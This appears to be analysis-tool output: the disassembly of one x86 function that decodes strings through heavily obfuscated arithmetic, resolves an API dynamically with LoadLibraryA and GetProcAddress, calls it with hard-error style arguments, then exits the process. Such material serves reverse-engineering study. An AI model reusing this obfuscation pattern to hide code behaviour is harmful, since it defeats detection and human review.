Function at 0x406470
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
jmp 0x40647b
cmp dword [0x476574], 0
sete al
test al, 1
jne 0x40648e
jmp 0x4078d8
jmp 0x406490
mov cl, byte [0x472300]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
and al, 0xd1
or cl, cl
xor cl, 0xff
or cl, 0xd1
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x6f
and al, 0x90
or cl, al
xor cl, 0xd8
mov byte [0x472320], cl
mov al, byte [0x472301]
mov cl, al
xor cl, 0xff
and cl, 0x9a
and al, 0x65
or cl, al
mov byte [0x472321], cl
mov al, byte [0x472302]
xor al, 0x6f
mov byte [0x472322], al
mov al, byte [0x472303]
mov cl, al
and cl, 0x83
shl cl, 1
add al, 0x83
sub al, cl
mov byte [0x472323], al
mov al, byte [0x472304]
xor al, 0x3f
mov byte [0x472324], al
mov al, byte [0x472305]
mov cl, al
xor cl, 0xff
and cl, 0xe3
and al, 0x1c
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x472325], dl
mov al, byte [0x472306]
mov cl, al
xor cl, 0xff
and cl, 0x65
and al, 0x9a
or cl, al
xor cl, 0xf7
mov byte [0x472326], cl
mov al, byte [0x472307]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov ah, al
sub ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, dl
and cl, 0x93
xor cl, 0xff
and dl, 0x93
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
xor al, 0xff
or al, 0x93
xor al, 0xff
and al, 0xff
xor al, 0xff
and cl, al
mov al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub cl, al
mov byte [0x472327], cl
mov al, byte [0x472308]
mov cl, al
xor cl, 0xb
xor cl, 0xff
and cl, 0xb
shl cl, 1
sub cl, 0xb
sub al, cl
mov byte [0x472328], al
mov al, byte [0x472309]
xor al, 0x54
mov byte [0x472329], al
mov al, byte [0x47230a]
mov cl, al
and cl, 0xe8
shl cl, 1
mov dl, al
and dl, 0xe8
shl dl, 1
xor al, 0xe8
add al, dl
sub al, cl
mov byte [0x47232a], al
mov cl, byte [0x47230b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0x10
and cl, 0xef
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or al, cl
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 8
mov byte [0x47232b], dl
mov ch, byte [0x47230c]
mov cl, ch
xor cl, 0xff
or cl, 0xc6
mov al, ch
xor al, 0xff
or al, 0xc6
xor cl, 0xff
xor al, 0xff
or cl, al
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xc7
xor edx, edx
sub dl, al
add ch, dl
mov byte [0x47232c], ch
mov al, byte [0x47230d]
xor al, 0xcb
mov byte [0x47232d], al
mov al, byte [0x47230e]
mov cl, al
and cl, 0xc2
xor cl, 0xff
mov dl, al
xor dl, 0xff
or dl, 0x3d
xor cl, 0xff
xor dl, 0xff
or cl, dl
shl cl, 1
add al, 0xc2
add al, 0x2d
sub al, cl
sub al, 0x2d
mov byte [0x47232e], al
mov al, byte [0x47230f]
xor al, 4
mov byte [0x47232f], al
mov al, byte [0x472310]
mov cl, al
and cl, 0xda
shl cl, 1
add al, 0xda
sub al, cl
mov byte [0x472330], al
mov al, byte [0x4721c2]
mov cl, al
and cl, 0x5d
shl cl, 1
add al, 0x5d
sub al, cl
mov byte [0x4721cc], al
mov al, byte [0x4721c3]
xor al, 0x5b
mov byte [0x4721cd], al
mov al, byte [0x4721c4]
xor al, 0xd3
mov byte [0x4721ce], al
mov ch, byte [0x4721c5]
mov cl, ch
and cl, 0xb9
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
xor edx, edx
sub dl, ch
add dl, 0x47
xor ecx, ecx
sub cl, dl
mov dl, cl
xor dl, 0xff
and dl, al
xor al, 0xff
and cl, al
sub cl, dl
mov byte [0x4721cf], cl
mov al, byte [0x4721c6]
xor al, 1
mov byte [0x4721d0], al
mov al, byte [0x4721c7]
mov cl, al
xor cl, 0x3b
xor cl, 0xff
and cl, 0x3b
shl cl, 1
sub cl, 0x3b
sub al, cl
mov byte [0x4721d1], al
mov al, byte [0x4721c8]
xor al, 0x87
mov byte [0x4721d2], al
mov al, byte [0x4721c9]
mov cl, al
xor cl, 0xff
and cl, 0x9a
and al, 0x65
or cl, al
mov byte [0x4721d3], cl
mov ch, byte [0x4721ca]
mov al, ch
xor al, 0xff
and al, 0x19
mov cl, ch
and cl, 0xe6
or al, cl
xor al, 0xff
mov cl, al
and cl, 0x19
xor cl, 0xff
xor al, 0xff
or al, 0xe6
xor cl, 0xff
xor al, 0xff
or cl, al
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0xe7
sub ch, al
mov byte [0x4721d4], ch
mov al, byte [0x4721cb]
mov cl, al
xor cl, 0x58
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
or cl, 0xa7
add cl, 0x59
shl cl, 1
mov dl, cl
xor dl, 0x58
and cl, 0xa7
shl cl, 1
sub cl, dl
sub al, cl
mov byte [0x4721d5], al
mov cx, word [0x4721a2]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
and ax, 0x8ca2
or cx, 0x8ca2
xor cx, 0xffff
mov dx, ax
or dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
or dx, ax
xor dx, 0xffff
xor dx, 0xffff
mov word [0x4721b2], dx
mov ax, word [0x4721a4]
xor ax, 0x954c
mov word [0x4721b4], ax
mov cx, word [0x4721a6]
mov ax, cx
and ax, ax
xor ax, 0xffff
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
or ax, 0x973b
xor cx, 0xffff
mov dx, cx
and dx, 0x68c4
xor cx, 0x68c4
or dx, cx
and ax, dx
xor ax, 0xffff
mov word [0x4721b6], ax
mov ax, word [0x4721a8]
mov cx, ax
xor cx, 0x3ff7
and cx, cx
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
and cx, 0x3ff7
shl cx, 1
sub cx, 0x3ff7
sub ax, cx
mov word [0x4721b8], ax
mov ax, word [0x4721aa]
mov cx, ax
xor cx, 0xffff
and cx, 0x9c80
and ax, 0x637f
or cx, ax
mov word [0x4721ba], cx
mov ax, word [0x4721ac]
mov dx, ax
xor dx, 0xffff
mov bx, ax
xor bx, 0xffff
mov word [ebp - 0xe], bx
mov cx, dx
and cx, 0x58de
mov di, ax
and di, 0xa721
and bx, 0x58de
mov si, ax
and si, 0xa721
or cx, di
or bx, si
xor cx, bx
or dx, word [ebp - 0xe]
xor dx, 0xffff
and dx, 0xffff
or cx, dx
xor cx, 0xffff
or cx, 0xfedd
xor cx, 0xffff
xor ax, 0xffff
and ax, 0xfedd
mov dx, cx
and dx, ax
xor cx, ax
or dx, cx
xor dx, 0xffff
mov word [0x4721bc], dx
mov ax, word [0x4721ae]
mov cx, ax
xor cx, 0xffff
and cx, 0xef19
and ax, 0x10e6
or cx, ax
xor cx, 0x58d6
mov word [0x4721be], cx
mov ax, word [0x4721b0]
mov cx, ax
xor cx, 0x8353
xor cx, 0xffff
and cx, 0x8353
shl cx, 1
sub cx, 0x8353
mov dx, ax
sub dx, cx
xor dx, 0xffff
and dx, 0x8353
shl dx, 1
sub dx, 0x8353
sub ax, dx
mov word [0x4721c0], ax
mov cx, word [0x4721e0]
mov ax, cx
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0x3bfa
and ax, 0x3bfa
mov dx, cx
xor dx, 0xc405
xor dx, 0xffff
or cx, 0xc405
and cx, dx
or ax, cx
xor ax, 0x4524
mov word [0x472270], ax
mov ax, word [0x4721e2]
mov cx, ax
xor cx, 0xffff
and cx, 0x8e56
mov dx, ax
and dx, 0x71a9
or cx, dx
xor cx, 0xffff
and cx, 0x8e56
shl cx, 1
mov dx, cx
xor dx, 0x8e56
and cx, 0x71a9
shl cx, 1
sub cx, dx
sub ax, cx
mov word [0x472272], ax
mov dx, word [str.v5]
mov cx, dx
xor cx, 0xffff
mov ax, dx
xor ax, 0xffff
mov si, ax
and si, cx
xor si, 0xffff
add cx, ax
add cx, 1
add cx, si
and cx, 0xc61d
xor cx, 0xffff
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov ax, si
and ax, 0xbe95
and dx, 0x416a
or ax, dx
xor ax, 0x7888
or si, 0x39e2
xor si, 0xffff
and si, 0xffff
or ax, si
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
mov di, ax
xor di, 0xffff
mov si, cx
and si, 0x3d64
and dx, 0xc29b
mov bx, di
and bx, 0x3d64
and ax, 0xc29b
or si, dx
or bx, ax
xor si, bx
or cx, di
xor cx, 0xffff
and cx, 0xffff
or si, cx
mov word [0x472274], si
mov cx, word [0x4721e6]
mov ax, cx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x8925
xor cx, 0xffff
or cx, 0x76da
and ax, cx
xor ax, 0xffff
mov word [0x472276], ax
mov cx, word [0x4721e8]
mov dx, cx
and dx, 0xffff
shl dx, 1
mov ax, cx
add ax, 0xffff
sub ax, dx
and ax, 0xcc6d
and cx, 0x3392
or ax, cx
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
or cx, 0xb0c8
xor cx, 0xffff
or ax, 0x4f37
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x472278], cx
mov ax, word [0x4721ea]
mov cx, ax
and cx, 0x651
shl cx, 1
add ax, 0x651
sub ax, cx
mov word [0x47227a], ax
mov ax, word [0x4721ec]
mov cx, ax
and cx, cx
xor cx, 0xffff
and cx, 0x2622
xor cx, 0xffff
and ax, 0xd9dd
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
mov word [0x47227c], cx
mov ax, word [0x4721ee]
mov cx, ax
xor cx, 0xffff
and cx, 0x485d
and ax, 0xb7a2
or cx, ax
mov word [0x47227e], cx
mov ax, word [0x4721f0]
mov cx, ax
xor cx, 0x80dd
xor cx, 0xffff
and cx, 0x80dd
shl cx, 1
sub cx, 0x80dd
mov dx, ax
sub dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
mov cx, dx
and cx, 0x80dd
xor cx, 0xffff
xor dx, 0xffff
or dx, 0x7f22
and cx, dx
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub cx, 0x80dd
sub ax, cx
mov word [0x472280], ax
mov ax, word [0x4721f2]
mov cx, ax
and cx, 0x716a
shl cx, 1
mov dx, ax
and dx, 0x716a
or ax, 0x716a
add dx, ax
sub dx, cx
mov word [0x472282], dx
mov ax, word [0x4721f4]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x72c6
and ax, 0x72c6
mov cx, ax
xor cx, 0xffff
and cx, 0xbf46
and ax, 0x40b9
or cx, ax
xor cx, 0x40b9
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor cx, 0xffff
or ax, cx
mov word [0x472284], ax
mov ax, word [0x4721f6]
xor ax, 0x299
mov word [0x472286], ax
mov ax, word [0x4721f8]
mov cx, ax
and cx, 0x1024
shl cx, 1
add ax, 0x5d3
add ax, 0x1024
sub ax, 0x5d3
add ax, 0x914e
sub ax, cx
sub ax, 0x914e
mov word [0x472288], ax
mov cx, word [0x4721fa]
mov ax, cx
xor ax, 0xffff
and ax, 0x3dd4
mov dx, cx
and dx, 0xc22b
or ax, dx
xor ax, 0xc22b
and ax, 0x5bfe
and cx, 0xa401
or ax, cx
mov cx, ax
or cx, cx
xor cx, 0xffff
or cx, 0x149
xor cx, 0xffff
or ax, 0xfeb6
xor ax, 0xffff
or cx, ax
xor cx, 0xffff
mov word [0x47228a], cx
mov ax, word [0x4721fc]
xor ax, 0xe2d7
mov word [0x47228c], ax
mov ax, word [0x4721fe]
xor ax, 0x647a
mov word [0x47228e], ax
mov cx, word [0x472200]
mov ax, cx
xor ax, 0xffff
and ax, 0x2e9c
xor cx, 0xffff
or cx, 0x2e9c
xor cx, 0xffff
and cx, 0xffff
and ax, ax
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov word [0x472290], ax
mov ax, word [0x472202]
mov cx, ax
and cx, 0x47b6
shl cx, 1
add ax, 0x47b6
sub ax, cx
mov word [0x472292], ax
mov ax, word [0x472204]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov cx, ax
sub cx, dx
mov dx, ax
xor dx, 0xffff
and cx, dx
or cx, 0x4c10
xor cx, 0xffff
or ax, 0xb3ef
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x472294], cx
mov cx, word [0x472206]
mov ax, cx
xor ax, 0xffff
and ax, 0xef7d
xor cx, 0xffff
or cx, 0xef7d
xor cx, 0xffff
and cx, 0xffff
mov dx, ax
or dx, cx
xor dx, 0xffff
or ax, cx
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xebeb
mov word [0x472296], dx
mov ax, word [0x472208]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
or dx, dx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
xor cx, 0xffff
and si, cx
xor dx, 0xffff
xor si, 0xffff
and dx, si
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
or cx, 0
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
mov dx, cx
add dx, 1
xor cx, 0xffff
or cx, 0xb648
add cx, dx
xor ax, 0xffff
mov dx, ax
add dx, 1
xor ax, 0xffff
or ax, 0x49b7
add ax, dx
mov dx, cx
xor dx, 0xffff
and dx, 0x9ad1
and cx, 0x652e
or dx, cx
xor dx, 0x652e
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
xor dx, 0xffff
and dx, 0xffff
mov word [0x472298], dx
mov ax, word [0x47220a]
xor ax, 0x9a6e
mov word [0x47229a], ax
mov ax, word [0x47220c]
xor ax, 0x109e
mov word [0x47229c], ax
mov ax, word [0x47220e]
mov cx, ax
and cx, 0x41bd
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or dx, 0xbe42
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
shl cx, 1
add ax, 0x41bd
sub ax, cx
mov word [0x47229e], ax
mov ax, word [0x472210]
mov cx, ax
xor cx, 0xedd0
xor cx, 0xffff
and cx, 0xedd0
shl cx, 1
sub cx, 0xedd0
sub ax, cx
mov word [0x4722a0], ax
mov ax, word [0x472212]
mov cx, ax
xor cx, 0xffff
and cx, 0x21d2
and ax, 0xde2d
or cx, ax
xor cx, 0x644b
mov word [str._v_o], cx
mov ax, word [0x472214]
mov cx, ax
and cx, 0x122e
shl cx, 1
add ax, 0x122e
sub ax, cx
mov word [0x4722a4], ax
mov ax, word [0x472216]
xor ax, 0x9dc4
mov word [0x4722a6], ax
mov ax, word [0x472218]
xor ax, 0x8504
mov word [0x4722a8], ax
mov ax, word [0x47221a]
mov cx, ax
xor cx, 0xffff
and cx, 0x6f85
and ax, 0x907a
or cx, ax
xor cx, 0x8e4a
mov word [0x4722aa], cx
mov ax, word [0x47221c]
mov cx, ax
xor cx, 0xbe29
xor cx, 0xffff
and cx, 0xbe29
shl cx, 1
sub cx, 0xbe29
xor edx, edx
sub dx, cx
add ax, dx
mov word [0x4722ac], ax
mov ax, word [0x47221e]
xor ax, 0x2404
mov word [0x4722ae], ax
mov ax, word [0x472220]
xor ax, 0xc6de
mov word [0x4722b0], ax
mov cx, word [0x472222]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xb100
xor ax, 0xffff
mov dx, cx
xor dx, 0x4eff
xor dx, 0xffff
or cx, 0x4eff
and cx, dx
xor cx, 0xffff
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
or ax, dx
mov word [0x4722b2], ax
mov ax, word [0x472224]
xor ax, 0x1b7d
mov word [0x4722b4], ax
mov ax, word [0x472226]
xor ax, 0x8f27
mov word [0x4722b6], ax
mov ax, word [0x472228]
xor ax, 0xc4ec
mov word [0x4722b8], ax
mov ax, word [0x47222a]
mov cx, ax
and cx, 0xde1c
shl cx, 1
add ax, 0xde1c
sub ax, cx
mov word [0x4722ba], ax
mov ax, word [0x47222c]
xor ax, 0x38a0
mov word [0x4722bc], ax
mov ax, word [0x47222e]
xor ax, 0x381a
mov word [0x4722be], ax
mov ax, word [0x472230]
mov cx, ax
and cx, 0x2ce3
shl cx, 1
add ax, 0x2ce3
sub ax, cx
mov word [0x4722c0], ax
mov cx, word [0x472232]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0xbb87
mov dx, cx
add dx, 1
xor cx, 0xffff
or cx, 0xbb87
add cx, dx
mov dx, cx
xor dx, 0xffff
and dx, 0x4521
and cx, 0xbade
or dx, cx
xor dx, 0xbade
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov word [0x4722c2], ax
mov ax, word [0x472234]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
or cx, 0x106b
xor cx, 0xffff
and cx, 0xffff
mov dx, ax
xor dx, 0x106b
xor dx, 0xffff
or ax, 0x106b
and ax, dx
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and ax, ax
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
xor dx, 0x3036
mov word [0x4722c4], dx
mov cx, word [0x472236]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and ax, dx
or ax, 0x8e15
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
or cx, 0x71ea
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
mov word [0x4722c6], ax
mov ax, word [0x472238]
xor ax, 0xfcad
mov word [0x4722c8], ax
mov ax, word [0x47223a]
xor ax, 0xa2e3
mov word [0x4722ca], ax
mov ax, word [str.tI_]
xor ax, 0x8bec
mov word [0x4722cc], ax
mov ax, word [0x47223e]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or cx, dx
mov dx, ax
and dx, dx
xor dx, 0xffff
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
or dx, 0x38ef
and cx, 0xc710
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and ax, ax
xor ax, 0xffff
and ax, 0x38ef
xor ax, 0xffff
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
mov si, ax
xor si, 0xffff
and cx, si
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
or cx, 0
xor cx, 0xffff
mov word [0x4722ce], cx
mov ax, word [0x472240]
xor ax, 0x49cb
mov word [0x4722d0], ax
mov cx, word [0x472242]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov si, cx
sub si, dx
or ax, si
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0x2fb0
mov dx, cx
and dx, 0xffff
shl dx, 1
add cx, 0xffff
sub cx, dx
mov dx, cx
and dx, 0x2fb0
mov si, cx
xor si, 0xd04f
add cx, si
sub cx, dx
and ax, cx
xor ax, 0xffff
mov word [0x4722d2], ax
mov ax, word [0x472244]
xor ax, 0xd7af
mov word [0x4722d4], ax
mov ax, word [0x472246]
xor ax, 0xebcf
mov word [0x4722d6], ax
mov ax, word [0x472248]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
or cx, 0xac6b
xor cx, 0xffff
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x5394
xor cx, 0xffff
add ax, cx
add ax, 1
mov word [0x4722d8], ax
mov ax, word [0x47224a]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov cx, ax
sub cx, dx
and cx, 0x628b
and ax, 0x9d74
mov dx, cx
or dx, ax
xor dx, 0xffff
or cx, ax
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
mov word [0x4722da], dx
mov ax, word [0x47224c]
xor ax, 0xf681
mov word [0x4722dc], ax
mov ax, word [0x47224e]
mov cx, ax
xor cx, 0x1ea3
xor cx, 0xffff
and cx, 0x1ea3
shl cx, 1
sub cx, 0x1ea3
sub ax, cx
mov word [0x4722de], ax
mov ax, word [0x472250]
mov cx, ax
xor cx, 0xe4bd
xor cx, 0xffff
and cx, 0xe4bd
shl cx, 1
sub cx, 0xe4bd
sub ax, cx
mov word [0x4722e0], ax
mov ax, word [0x472252]
mov cx, ax
xor cx, 0xffff
and cx, 0x9282
and ax, 0x6d7d
or cx, ax
mov word [0x4722e2], cx
mov cx, word [0x472254]
mov dx, cx
and dx, 0xffff
shl dx, 1
mov ax, cx
add ax, 0xffff
sub ax, dx
mov dx, cx
xor dx, 0xffff
and ax, dx
or ax, 0xfc93
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
mov dx, cx
and dx, 0x36c
xor cx, 0x36c
or dx, cx
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov word [0x4722e4], ax
mov ax, word [0x472256]
mov cx, ax
xor cx, 0xffff
and cx, 0x161f
mov dx, ax
xor dx, 0xe9e0
xor dx, 0xffff
or ax, 0xe9e0
and ax, dx
or cx, ax
mov word [0x4722e6], cx
mov ax, word [0x472258]
xor ax, 0x4ce3
mov word [0x4722e8], ax
mov ax, word [0x47225a]
mov cx, ax
xor cx, 0xffff
and cx, 0x2ee6
and ax, 0xd119
or cx, ax
xor cx, 0xa6a
mov word [0x4722ea], cx
mov ax, word [0x47225c]
mov cx, ax
xor cx, 0xfe81
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
and cx, 0xfe81
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add cx, 0x17e
add cx, 1
sub ax, cx
mov word [0x4722ec], ax
mov ax, word [0x47225e]
mov cx, ax
xor cx, 0xffff
and cx, 0x289b
and ax, 0xd764
or cx, ax
xor cx, 0x4deb
mov word [0x4722ee], cx
mov ax, word [0x472260]
mov cx, ax
and cx, 0x16f9
shl cx, 1
add ax, 0x16f9
sub ax, cx
mov word [0x4722f0], ax
mov ax, word [0x472262]
xor ax, 0x21a
mov word [0x4722f2], ax
mov ax, word [0x472264]
mov cx, ax
and cx, 0x6930
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x6930
sub ax, cx
mov word [0x4722f4], ax
mov ax, word [0x472266]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x978
xor dx, 0xffff
and dx, 0xffff
and ax, 0x978
mov cx, dx
xor cx, 0xffff
mov di, ax
xor di, 0xffff
mov si, cx
and si, 0x80e0
and dx, 0x7f1f
mov bx, di
and bx, 0x80e0
and ax, 0x7f1f
or si, dx
or bx, ax
xor si, bx
or cx, di
xor cx, 0xffff
and cx, 0xffff
or si, cx
xor si, 0xf06f
mov word [0x4722f6], si
mov ax, word [0x472268]
xor ax, 0xdd24
mov word [0x4722f8], ax
jmp 0x4078d8
jmp 0x4078da
mov dword [0x476574], 1
push eax
sub esp, 8
mov eax, esp
push eax
mov esi, esp
mov dword [ebp - 0x18], esi
sub esp, 0x14
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x2c], esp
sub esp, 0x8c
mov dword [ebp - 0x20], esp
sub esp, 0x10
mov dword [ebp - 0x28], esp
sub esp, 8
mov edi, esp
sub esp, 8
mov ebx, esp
sub esp, 0xc
mov dword [ebp - 0x24], esp
mov ecx, dword [0x4721cc]
mov dword [eax], ecx
mov ecx, dword [0x4721d0]
mov dword [eax + 4], ecx
mov cx, word [0x4721d4]
mov word [eax + 8], cx
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi], eax
lea eax, [0x472320]
sub esp, 0xc
mov esi, dword [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x11
call fcn.0044fd30
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
lea eax, [0x472270]
sub esp, 0xc
mov esi, dword [ebp - 0x20]
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x8a
call fcn.0044fd30
add esp, 0xc
mov eax, dword [0x4721b2]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [0x4721b6]
mov dword [ecx + 4], eax
mov eax, dword [0x4721ba]
mov dword [ecx + 8], eax
mov eax, dword [0x4721be]
mov dword [ecx + 0xc], eax
mov word [edi], 0x88
mov ax, word [edi]
mov word [edi + 2], ax
mov dword [edi + 4], esi
mov word [ebx], 0xe
mov ax, word [ebx]
mov word [ebx + 2], ax
mov dword [ebx + 4], ecx
mov eax, dword [ebp - 0x24]
mov dword [eax], edi
mov dword [eax + 4], ebx
mov dword [eax + 8], 0x34
mov edx, eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0x50000018
mov dword [esp + 4], 3
mov dword [esp + 8], 3
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0
mov esi, dword [ebp - 0x2c]
mov dword [esp + 0x14], esi
call eax
cmp dword [esi], 8
setne al
test al, 1
jne 0x407a3a
jmp 0x407a4c
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret